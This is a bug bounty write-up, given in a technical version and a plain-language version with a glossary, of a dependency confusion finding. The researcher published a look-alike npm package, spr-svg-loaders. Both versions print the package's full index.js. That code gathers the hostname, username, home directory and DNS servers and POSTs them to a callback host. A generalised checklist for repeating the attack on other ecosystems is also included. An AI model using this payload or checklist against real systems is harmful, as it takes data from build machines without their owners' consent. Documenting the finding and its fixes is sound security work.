RCE via Dependency Confusion
A private npm package name was not registered on the public npm registry, so an attacker could publish a malicious package with the same name and a higher version. When the victim's build system installed dependencies, it fetched the attacker's package, which executed code and sent system information to the attacker.
Published on systemweakness.com
Sm4rty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of a dependency confusion finding on a private HackerOne program. The author, Samrat Gupta (@Sm4rty_), refers to the target only as redacted.com, so the product and the feature behind the exposed file are not described. What the report does describe is the artefact that made the attack possible: a package.json file served from a host belonging to the program, listing the packages installed on that server. A package.json normally declares a project's dependencies and their versions, and it is not meant to be reachable from the internet.
Dependency confusion, as the author frames it, is a supply chain substitution attack: an installer script is tricked into pulling a malicious package from a public repository instead of the intended package of the same name from an internal repository. The mechanism he highlights is version precedence. If a public package carries a higher version than the private package of the same name, and package indexing is not handled properly, the installer pulls the higher version from the public registry.
Setup
The work was done against a private program, so no hostnames, addresses or package contents beyond the one package name are published. The tools used were:
- Shodan, for reconnaissance.
- Dirsearch and FFUF, for directory bruteforcing.
- Confused (visma-prodsec), to check which packages in the file were absent from the public npm registry.
- A public npm account, to publish the malicious package.
- An Interactsh server (the payload also references Burp Collaborator and Pipedream as alternatives), to receive the ping-backs.
Finding it
Step 1: Shodan dorking
The author started with Shodan reconnaissance. Using a Shodan dork, which the report does not reproduce, he found an IP address that belongs to redacted.com.
Step 2: Directory bruteforcing
With Dirsearch and FFUF against that host he found a package.json file. The URL looked like:
https://XX.XX.XX.XX/ui/package.json
The file contained all the packages installed on the server. The report does not reproduce its contents.
Step 3: Checking for dependency confusion in private packages
He downloaded the file and ran it through Confused to identify private packages. One package, spr-svg-loaders, was not present in the public npm repository. Searching for the name on the npm website confirms this. A package name that the project resolves internally but that nobody owns publicly is exactly the condition dependency confusion needs.
Exploitation
Step 4: Creating the malicious package
He created an npm package under the same name, spr-svg-loaders, with the following code as index.js, and published it to the public npm registry. The report points to an external blog for the full publishing procedure.
const os = require("os");const dns = require("dns");const querystring = require("querystring");const https = require("https");const packageJSON = require("./package.json");const package = packageJSON.name;const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefined, v: packageJSON.version, pjson: packageJSON,});var postData = querystring.stringify({ msg: trackingData,});var options = { hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, },};var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); });});req.on("error", (e) => { // console.error(e);});req.write(postData);req.end();
It collects the package name, the directory it was loaded from (__dirname), the home directory, the hostname, the username, the configured DNS servers, the resolved path and version from the package's own package.json, and the whole package.json object. It serialises all of that to JSON, form-encodes it as msg, and POSTs it over HTTPS to port 443 of the callback host. The comment in the code notes that the callback hostname can be swapped for Interactsh or Pipedream; the author used an Interactsh server.
After publishing, he verified the package by checking the name on the npm repository.
Step 5: Collecting the ping-backs
Within a few hours of uploading the package, the Interactsh server received ping-backs containing data such as hostname, directory, IP address and username. The callbacks came not only from the server hosted on AWS but also from a few other computers, which indicates the package was pulled by more than one machine running the install. He exported the data and sent it to the program.
Timeline
| Event | Date |
|---|---|
| Reported | 22/01/2022 |
| Triaged | 09/02/2022 |
| Fixed and SWAG rewarded | 06/05/2022 |
Root cause
The package name spr-svg-loaders was not present in the public npm repository, and the install process pulled the published package. Because the name was unclaimed publicly, he could register it, and the package was then pulled by installing machines. The report does not state the version of the private package or of the published one, so the exact precedence that decided the outcome is not documented; the author's general explanation is that a higher public version wins when indexing is not handled properly. The exposed package.json on the internet is what made the private name discoverable in the first place.
Impact
The author titles the finding RCE via dependency confusion, and the ping-backs show code from the package executing on the install host: the script read the hostname, home directory, username and DNS configuration and sent them out. In this proof of concept the payload only exfiltrated that data. The report does not show command execution beyond the script's own actions, and it does not describe what the program's systems did with the package afterwards. The callbacks from machines other than the AWS server show the package was pulled by more than one machine. The conditions are the ones above: a private package name absent from the public registry, and an install process that resolves it publicly.
Fix
The measures that address this class of issue are scoping private packages to a namespace or registry the public one cannot satisfy, pinning versions and lockfiles to the internal source, and removing files such as package.json from publicly reachable paths.
Variants to test
- Look for exposed manifests. Bruteforce paths such as
/ui/package.jsonand check forpackage.json,composer.json,requirements.txt,Gemfileand similar files. A positive result is a manifest listing internal package names. - Run the manifest through Confused, or search each name on the public registry by hand. A positive result is a private name with no public owner.
- Publish a benign callback package under that name and watch the callback server. A positive result is a ping-back carrying hostname, username or directory data from the target's infrastructure.
- Repeat for other ecosystems the manifest reveals, since the same substitution logic applies wherever a public index is consulted before an internal one.
Thanks to Alex Birsan and dhiyaneshgeek, whose write-ups the author credits for the technique and the publishing procedure.
What happened, in plain words
A security researcher found a file on a company's server that was never meant to be visible to the public. That file listed the pieces of software the server installs to do its job. One of those pieces had a name that nobody had claimed in the big public library of software that anyone can download from. The researcher claimed that name himself, put his own small program there, and waited. His program ran on the company's machines and quietly reported back what it found.
This is called a dependency confusion attack. The rest of this article walks through how it works, step by step, in the same order the researcher did it, and explains every term along the way.
The idea behind it: dependency confusion
Almost no modern software is written entirely from scratch. A website or server program is built out of many smaller ready-made pieces, called packages or libraries. If your program needs to draw a chart, send an email or read a file format, there is probably a package that already does it, and you just add it to your project.
A dependency is simply one of those pieces that your project depends on. Your project's list of dependencies is like a recipe's ingredient list: it says which packages are needed and which version of each.
A version is a number attached to a package to tell releases apart, for example 1.0.2 or 2.3.0. Higher numbers normally mean newer releases.
Packages live in registries, which are online libraries. The biggest one for the JavaScript world is npm (Node Package Manager). Anyone with an account can publish a package to npm, and anyone can download from it. Companies often also run a private registry: an internal library that only their own machines can reach, holding packages they wrote themselves and do not want to share.
Now the problem. When a server installs its dependencies, it has to decide where to fetch each package from. If a package name exists both in the company's private registry and in the public npm registry, the installer has to pick one. Many installers prefer whichever version number is higher. So if an attacker publishes a package with the same name and a higher version number to the public registry, the installer may fetch the attacker's copy instead of the company's own.
That is the substitution: the installer is tricked into pulling a malicious file from a public repository instead of the intended file of the same name from an internal repository. The researcher compares it to a supply chain, the chain of suppliers that feed a shop. If someone can slip a fake product into the chain under the label of a real one, the shop shelves the fake without noticing.
Two conditions have to line up for this to work:
- The company uses a package name internally that nobody has claimed in the public registry.
- The install process is willing to look in the public registry for that name, and picks the higher version when it finds one there.
The researcher's job was to find a name that met the first condition, then publish a package under it.
How the bug was found
The target was a private program on HackerOne, a platform where companies invite researchers to test their systems and report problems. Because the program is private, the researcher refers to the company only as redacted.com and does not publish its real addresses or the contents of the files he found. The only name he publishes is the one package name at the centre of the attack.
Step 1: Shodan dorking
Shodan is a search engine for internet-connected devices and servers, rather than for web pages. Instead of indexing page text, it records what services and machines are exposed on the internet. A dork is a search query written to surface something specific, the same way you might search a photo site for a particular camera model.
The researcher ran a Shodan search (the report does not reproduce the exact query) and found an IP address that belongs to redacted.com. An IP address is the numeric label a machine uses on the internet, like a street address for a computer. Finding one that belongs to the target gives you a place to start probing.
Why this step: before you can look for exposed files, you need to know which machines to look at. Shodan is a way of discovering machines that the company may not have advertised.
Step 2: Directory bruteforcing
Websites are organised into directories and files, much like folders on your computer. A URL such as example.com/images/logo.png points at the file logo.png inside the directory images. Many files are never linked from any page, but they still exist and can still be reached if you know or guess the path.
Directory bruteforcing means trying a long list of common names against a server to see which ones exist. Two tools for this are Dirsearch and FFUF. Think of it as trying every key on a big keyring against a door: most will not fit, but one might.
Using these tools against the host he had found, the researcher discovered a file called package.json. The URL looked like this:
https://XX.XX.XX.XX/ui/package.json
Here XX.XX.XX.XX stands for the server's IP address, which the researcher has blanked out. The /ui/ part is the directory, and package.json is the file.
A package.json is the standard file a JavaScript project uses to declare its dependencies and their versions. It is the ingredient list mentioned earlier. It is meant to sit inside the project on the developer's machine or build server, not to be downloadable by anyone on the internet. Serving it publicly is like leaving your shopping list taped to the front door: harmless-looking, but it tells a stranger exactly what you buy and from where.
The file contained all the packages installed on that server. The report does not reproduce its contents.
Why this step: the researcher needed the ingredient list. Without knowing which package names the project uses, there is nothing to impersonate.
Step 3: Checking for dependency confusion in private packages
He downloaded the file and ran it through a tool called Confused, made by visma-prodsec. Confused reads a package.json and checks each package name against the public npm registry, flagging the ones that are not there. You could do the same by hand: go to the npm website and search for each name.
One name came back as unclaimed: spr-svg-loaders. It was not in the public npm repository. That means nobody owned that name publicly.
This is the key moment. A package name that the project resolves internally, but that nobody owns publicly, is exactly the gap dependency confusion needs. The name is a door with no lock on the public side.
Why this step: publishing a package under a name that already exists publicly would not help, because the real owner's package would be there and the installer might prefer it. The attacker needs a name that is free to claim.
Exploitation
Step 4: Creating the malicious package
He created an npm package with the same name, spr-svg-loaders, put the code below into a file called index.js, and published it to the public npm registry. The report points to an external blog for the full publishing procedure.
const os = require("os");const dns = require("dns");const querystring = require("querystring");const https = require("https");const packageJSON = require("./package.json");const package = packageJSON.name;const trackingData = JSON.stringify({ p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo().username, dns: dns.getServers(), r: packageJSON ? packageJSON.___resolved : undefined, v: packageJSON.version, pjson: packageJSON,});var postData = querystring.stringify({ msg: trackingData,});var options = { hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, },};var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); });});req.on("error", (e) => { // console.error(e);});req.write(postData);req.end();
Line by line, in plain words:
const os = require("os");and the next three lines load built-in Node.js modules.osgives access to information about the operating system,dnsto the machine's DNS settings,querystringto formatting data for a web request, andhttpsto making secure web requests.requireis how JavaScript pulls in a module, like opening a toolbox.const packageJSON = require("./package.json");loads the package's ownpackage.json, the file that describes the package itself.const package = packageJSON.name;reads the package's name from that file.const trackingData = JSON.stringify({ ... });builds one big object of information and converts it to JSON, a plain-text format for structured data that both humans and programs can read. The fields collected are:p: the package name.c:__dirname, a special variable holding the directory the code was loaded from.hd:os.homedir(), the home directory of the user running the install.hn:os.hostname(), the machine's name on the network.un:os.userInfo().username, the name of the user account running the install.dns:dns.getServers(), the DNS servers the machine is configured to use. DNS is the system that translates human-readable names likeexample.cominto IP addresses, so this reveals part of the machine's network setup.r: the resolved path of the package, if thepackage.jsonrecords one.v: the package version.pjson: the entirepackage.jsonobject, in case it holds anything else interesting.
var postData = querystring.stringify({ msg: trackingData });wraps that JSON in a form field calledmsgand encodes it the way a web form submission is encoded. This is the payload that will be sent out.var options = { ... };describes the outgoing request: the destination hostburpcollaborator.net, port443(the standard port for HTTPS, encrypted web traffic), path/, methodPOST(a request that sends data to a server), and two headers. A header is a small piece of metadata attached to a web request, like the label on a parcel.Content-Typesays the body is form-encoded;Content-Lengthsays how many bytes the body is.var req = https.request(options, (res) => { ... });actually opens the request. The inner function prints whatever the server sends back.req.on("error", (e) => { // console.error(e); });sets up an error handler, but the line that would print the error is commented out with//.req.write(postData);andreq.end();send the data and close the request.
The comment in the code notes that the callback hostname can be swapped for Interactsh or Pipedream. These are services that give you a unique address and record any request that arrives at it, so you can see when your code has run somewhere. The researcher used an Interactsh server. Burp Collaborator is the equivalent feature built into Burp Suite, a popular web testing tool.
Why this step: the package has to do something observable when it runs, otherwise the researcher would never know whether the substitution worked. Sending a small report back to a server he controls is a safe way to prove execution without causing damage.
After publishing, he checked the name on the npm repository to confirm the package was live.
Step 5: Collecting the ping-backs
Within a few hours of uploading the package, the Interactsh server received ping-backs: incoming requests from machines that had run the code. The data included hostname, directory, IP address and username.
The callbacks came not only from the server hosted on AWS (Amazon Web Services, a cloud hosting provider) but also from a few other computers. That means the package was pulled by more than one machine running the install, not just the one whose package.json had been found. He exported the data and sent it to the program.
Why this matters: one callback proves the trick worked once. Several callbacks from different machines show the problem is wider than a single server, which makes the report more serious.
Timeline
| Event | Date |
|---|---|
| Reported | 22/01/2022 |
| Triaged | 09/02/2022 |
| Fixed and SWAG rewarded | 06/05/2022 |
Triaged means the program's security team reviewed the report and confirmed it was a real issue. SWAG means promotional merchandise, a common thank-you reward on bug bounty programs.
Why it worked
The package name spr-svg-loaders was not present in the public npm registry, and the published package was pulled by installing machines. Because nobody had claimed the name publicly, he could register it, and the package was then pulled by installing machines. The report does not state the version of the private package or of the published one, so the exact version comparison that decided the outcome is not documented. The researcher's general explanation is that a higher public version wins when package indexing is not handled properly.
The exposed package.json on the internet is what made the private name discoverable in the first place. Without it, the researcher would not have known which name to claim.
Impact
The researcher titles the finding RCE via dependency confusion. RCE stands for remote code execution: an attacker gets their own code to run on someone else's machine. The ping-backs show exactly that, because the script from the package ran on the install host and read the hostname, home directory, username and DNS configuration and sent them out.
In this proof of concept the payload only collected and sent that data. The report does not show command execution beyond the script's own actions, and it does not describe what the program's systems did with the package afterwards. The callbacks from machines other than the AWS server show the package was pulled by more than one machine.
The conditions are the ones above: a private package name absent from the public registry, and an install process that resolves it publicly.
Fix
The measures that address this class of issue are:
- Scoping private packages to a namespace or registry that the public one cannot satisfy, so a public package with the same name is never considered.
- Pinning versions and lockfiles to the internal source. A lockfile records the exact version and source of every dependency so installs are repeatable.
- Removing files such as
package.jsonfrom publicly reachable paths.
Variants to test
If you want to look for this class of issue yourself, here is the same approach generalised:
- Look for exposed manifests. Bruteforce paths such as
/ui/package.jsonand check forpackage.json,composer.json,requirements.txt,Gemfileand similar files. A positive result is a manifest listing internal package names. These are the equivalent ingredient lists for other programming languages:composer.jsonfor PHP,requirements.txtfor Python,Gemfilefor Ruby. - Run the manifest through Confused, or search each name on the public registry by hand. A positive result is a private name with no public owner.
- Publish a benign callback package under that name and watch the callback server. A positive result is a ping-back carrying hostname, username or directory data from the target's infrastructure.
- Repeat for other ecosystems the manifest reveals, since the same substitution logic applies wherever a public index is consulted before an internal one.
Thanks to Alex Birsan and dhiyaneshgeek, whose write-ups the researcher credits for the technique and the publishing procedure.
Glossary
- API: a defined way for one program to talk to another, like a service counter where you make a request and get a response in a fixed format.
- AWS: Amazon Web Services, a cloud provider that rents out servers and other computing resources.
- Burp Collaborator: a service built into the Burp Suite testing tool that gives you an address and records any request that reaches it.
- Callback / ping-back: an incoming request from a machine that ran your code, used to prove the code executed.
- Confused: a tool that reads a
package.jsonand flags package names that are missing from the public npm registry. - Dependency: a package that a project relies on to work.
- Dependency confusion: a supply chain attack where an installer is tricked into fetching a malicious package from a public registry instead of the intended package of the same name from an internal one.
- Directory bruteforcing: trying a long list of common file and folder names against a server to discover ones that exist.
- Dirsearch / FFUF: tools that automate directory bruteforcing.
- DNS: the system that translates human-readable names into IP addresses.
- Dork: a search query crafted to surface something specific.
- Header: metadata attached to a web request or response, such as the content type or length.
- HackerOne: a platform where companies invite researchers to test their systems and report issues.
- HTTPS: the encrypted version of the web protocol, normally on port 443.
- Interactsh: a service that gives you a unique address and records requests sent to it.
- IP address: the numeric label a machine uses on the internet.
- JSON: a plain-text format for structured data.
- Lockfile: a file recording the exact version and source of every dependency so installs are repeatable.
- npm: the main public registry for JavaScript packages, and the tool that installs them.
- Package: a ready-made piece of software that a project can reuse.
package.json: the file a JavaScript project uses to declare its dependencies and versions.- Pipedream: a service that can receive and record requests, usable as a callback host.
- Private registry: an internal package library reachable only by a company's own machines.
- RCE (remote code execution): getting your own code to run on someone else's machine.
- Registry: an online library of packages.
- Shodan: a search engine for internet-connected devices and servers.
- Supply chain: the chain of suppliers that feed a product; in software, the packages and sources a project is built from.
- SWAG: promotional merchandise, a common bug bounty reward.
- Triaged: reviewed and confirmed as a real issue by the program's security team.
- Version: a number attached to a package to tell releases apart.